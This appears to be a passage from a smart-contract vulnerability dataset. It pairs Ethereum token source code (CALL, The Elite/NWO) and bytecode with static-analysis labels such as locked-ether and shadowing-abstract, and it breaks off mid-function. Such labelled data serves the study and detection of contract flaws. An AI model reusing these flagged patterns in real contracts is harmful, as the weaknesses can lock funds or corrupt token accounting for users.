0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b2578063313ce567146101dc578063395093511461020757806342966c681461022b57806370a08231146102455780638da5cb5b1461026657806395d89b4114610297578063a457c2d7146102ac578063a9059cbb146102d0578063dd62ed3e146102f4575b600080fd5b3480156100d557600080fd5b506100de61031b565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a03600435166024356103a9565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a06103bf565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a03600435811690602435166044356103c5565b3480156101e857600080fd5b506101f161041c565b6040805160ff9092168252519081900360200190f35b34801561021357600080fd5b50610177600160a060020a0360043516602435610425565b34801561023757600080fd5b50610243600435610461565b005b34801561025157600080fd5b506101a0600160a060020a036004351661046e565b34801561027257600080fd5b5061027b610489565b60408051600160a060020a039092168252519081900360200190f35b3480156102a357600080fd5b506100de61049d565b3480156102b857600080fd5b50610177600160a060020a03600435166024356104f8565b3480156102dc57600080fd5b50610177600160a060020a0360043516602435610534565b34801561030057600080fd5b506101a0600160a060020a0360043581169060243516610541565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a15780601f10610376576101008083540402835291602001916103a1565b820191906000526020600020905b81548152906001019060200180831161038457829003601f168201915b505050505081565b60006103b633848461056c565b50600192915050565b60025490565b60006103d28484846105f8565b600160a060020a03841660009081526001602090815260408083203380855292529091205461041291869161040d908663ffffffff61078e16565b61056c565b5060019392505050565b60055460ff1681565b336000818152600160209081526040808320600160a060020a038716845290915281205490916103b691859061040d908663ffffffff6107a316565b61046b33826107b9565b50565b600160a060020a031660009081526020819052604090205490565b6005546101009004600160a060020a031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a15780601f10610376576101008083540402835291602001916103a1565b336000818152600160209081526040808320600160a060020a038716845290915281205490916103b691859061040d908663ffffffff61078e16565b60006103b63384846105f8565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600160a060020a038216151561058157600080fd5b600160a060020a038316151561059657600080fd5b600160a060020a03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600160a060020a038216151561060d57600080fd5b600160a060020a038316600090815260208190526040902054610636908263ffffffff61078e16565b600160a060020a03808516600090815260208190526040808220939093559084168152205461066b908263ffffffff6107a316565b600160a060020a03831660008181526020819052604090209190915561069090610862565b1561073e5781600160a060020a031663bc04f0af84836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561071157600080fd5b505af1158015610725573d6000803e3d6000fd5b505050506040513d602081101561073b57600080fd5b50505b81600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111561079d57600080fd5b50900390565b818101828110156107b357600080fd5b92915050565b600160a060020a03821615156107ce57600080fd5b6002546107e1908263ffffffff61078e16565b600255600160a060020a03821660009081526020819052604090205461080d908263ffffffff61078e16565b600160a060020a038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b6000903b11905600a165627a7a723058203ace9242fdeaece086a4666a46d2f7efbc14255a613d7561acdd3c48fde82ba70029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,340
0xaa9695bdacc70dc849e3d96769649e9eb349ced5
/* Capital Technologies & Research - Capital (CALL) */ pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { /// Total amount of tokens uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _amount) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); function approve(address _spender, uint256 _amount) public returns (bool success); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; //balance in each address account mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _amount The amount to be transferred. */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _amount uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _amount); require(allowed[_from][msg.sender] >= _amount); require(_amount > 0 && balances[_to].add(_amount) > balances[_to]); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); emit Transfer(_from, _to, _amount); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _amount The amount of tokens to be spent. */ function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken, Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner{ require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); } } /** * @title CAPITAL (CALL) Token * @dev Token representing CALL. */ contract CALLToken is BurnableToken { string public name; string public symbol; uint256 public totalSupply; uint8 public decimals = 18 ; /** *@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller */ function () public payable { revert(); } /** * @dev Constructor function to initialize the initial supply of token to the creator of the contract * @param initialSupply The initial supply of tokens which will be fixed through out * @param tokenName The name of the token * @param tokenSymbol The symboll of the token */ function CALLToken(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply.mul( 10 ** uint256(decimals)); name = tokenName; symbol = tokenSymbol; balances[msg.sender] = totalSupply; //Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator emit Transfer(address(0), msg.sender, totalSupply); } /** *@dev helper method to get token details, name, symbol and totalSupply in one go */ function getTokenDetail() public view returns (string, string, uint256) { return (name, symbol, totalSupply); } }
0x6060604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015857806318160ddd146101b257806323b872dd146101db578063289de61514610254578063313ce5671461035557806342966c681461038457806370a08231146103a75780638da5cb5b146103f457806395d89b4114610449578063a9059cbb146104d7578063dd62ed3e14610531578063f2fde38b1461059d575b600080fd5b34156100d557600080fd5b6100dd6105d6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011d578082015181840152602081019050610102565b50505050905090810190601f16801561014a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016357600080fd5b610198600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610674565b604051808215151515815260200191505060405180910390f35b34156101bd57600080fd5b6101c5610766565b6040518082815260200191505060405180910390f35b34156101e657600080fd5b61023a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061076c565b604051808215151515815260200191505060405180910390f35b341561025f57600080fd5b610267610bd5565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156102b1578082015181840152602081019050610296565b50505050905090810190601f1680156102de5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156103175780820151818401526020810190506102fc565b50505050905090810190601f1680156103445780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b341561036057600080fd5b610368610d31565b604051808260ff1660ff16815260200191505060405180910390f35b341561038f57600080fd5b6103a56004808035906020019091905050610d44565b005b34156103b257600080fd5b6103de600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eef565b6040518082815260200191505060405180910390f35b34156103ff57600080fd5b610407610f38565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045457600080fd5b61045c610f5e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049c578082015181840152602081019050610481565b50505050905090810190601f1680156104c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104e257600080fd5b610517600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ffc565b604051808215151515815260200191505060405180910390f35b341561053c57600080fd5b610587600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c7565b6040518082815260200191505060405180910390f35b34156105a857600080fd5b6105d4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061134e565b005b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561066c5780601f106106415761010080835404028352916020019161066c565b820191906000526020600020905b81548152906001019060200180831161064f57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107a957600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156107f757600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561088257600080fd5b6000821180156109215750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461091f83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b115b151561092c57600080fd5b61097e82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ae582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b610bdd6114dd565b610be56114dd565b600060046005600654828054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c835780601f10610c5857610100808354040283529160200191610c83565b820191906000526020600020905b815481529060010190602001808311610c6657829003601f168201915b50505050509250818054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d1f5780601f10610cf457610100808354040283529160200191610d1f565b820191906000526020600020905b815481529060010190602001808311610d0257829003601f168201915b50505050509150925092509250909192565b600760009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da057600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610dee57600080fd5b610e4081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e98816000546114c490919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a250565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ff45780601f10610fc957610100808354040283529160200191610ff4565b820191906000526020600020905b815481529060010190602001808311610fd757829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561103957600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110885750600082115b80156111235750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461112183600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b115b151561112e57600080fd5b61118082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113aa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113e657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101515156114ba57fe5b8091505092915050565b60008282111515156114d257fe5b818303905092915050565b602060405190810160405280600081525090565b60008060008414156115065760009150611525565b828402905082848281151561151757fe5b0414151561152157fe5b8091505b50929150505600a165627a7a72305820be9eec57027023f853632c2734952a21ee189cae1cdaec98f4589d679a7a16150029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,341
0x9e5f3f92b728cfc4a9d7c1cc12d0a75678af54cd
/** *Submitted for verification at Etherscan.io on 2022-04-12 */ /** ░░░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▓▓▒▒▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░▓▓▓▓▒▒▓▓▒▒▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░▓▓▓▓░░▓▓░░▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░▓▓▓▓▓▓░░░░░░░░▓▓▓▓░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░▓▓░░░░░░░░░░░░░░▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░██▓▓░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓██░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░▓▓▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒▓▓▓▓░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░▓▓▒▒▒▒▓▓░░░░░░░░░░▓▓▒▒▒▒██░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░██▓▓░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░██▓▓░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░██▒▒░░░░░░░░░░░░ ░░░░░░░░░░░░██▓▓▓▓▒▒░░░░ ▓▓▓▓▓▓▓▓░░░░▓▓██░░░░░░░░░░░░ ▒▒▒▒▒▒▒▒▒▒▒▒██▓▓░░░░░░░░░░░░░░░░░░░░▓▓▓▓▒▒░░██▒▒▒▒▒▒░░░░▒▒ ▒▒▒▒▒▒▒▒▒▒██░░░░▓▓▓▓██████████████░░░░▒▒▓▓▒▒░░██▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒██▓▓▓▓██████▓▓ ▓▓██████░░▒▒░░▒▒██▒▒▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▒▒██▓▓██████▓▓▓▓▓▓░░ ▒▒▓▓▓▓▓▓████████▓▓▒▒██▓▓▓▓▓▓▓▓ ▒▒▒▒▒▒▒▒██████ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░ ████▓▓▓▓██▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒██▓▓████ ░░▓▓▓▓▓▓▓▓▓▓░░ ░░██████▓▓██▒▒▒▒▒▒ ▓▓▓▓▒▒██▓▓░░██░░ ░░▓▓▓▓▓▓░░ ░░██████▓▓██▒▒▒▒▒▒ ▒▒▒▒██▓▓░░░░░░░░░░ ░░░░░░░░▓▓▓▓▓▓██▒▒▒▒ ▒▒▒▒██▓▓░░░░░░▓▓░░░░░░░░░░░░░░░░░░░░░░▓▓▓▓░░░░▓▓░░▓▓██▒▒▒▒ ▒▒██▓▓▓▓▓▓░░▓▓░░░░▓▓░░░░░░░░░░░░░░░░▓▓░░░░░░▓▓░░▒▒▓▓▓▓██▒▒ ▒▒██▓▓▒▒░░▓▓░░▓▓░░░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░▓▓░░▓▓▓▓▒▒▓▓██▒▒ ██▒▒▒▒░░▒▒▒▒░░▒▒▓▓▓▓░░░░░░░░░░░░░░░░▓▓░░▓▓▓▓▒▒▓▓▒▒▓▓▒▒▒▒██ ██████████████████████████████████████████████████████████ Do you have what it takes to join us? Website: www.theelitenwo.com Twitter: www.twitter.com/theelitenwo Medium: www.medium/@theelitenwo Telegram: https://t.me/theelitenwo */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TheElite is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "The Elite."; string private constant _symbol = "NWO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xC1f0389Ee21F6d899f1f7f5B5ef995F40098B62a); address payable private _marketingAddress = payable(0xB0818842dAFd7BAd1152F1269c79032e880BbF0A); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 30000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the 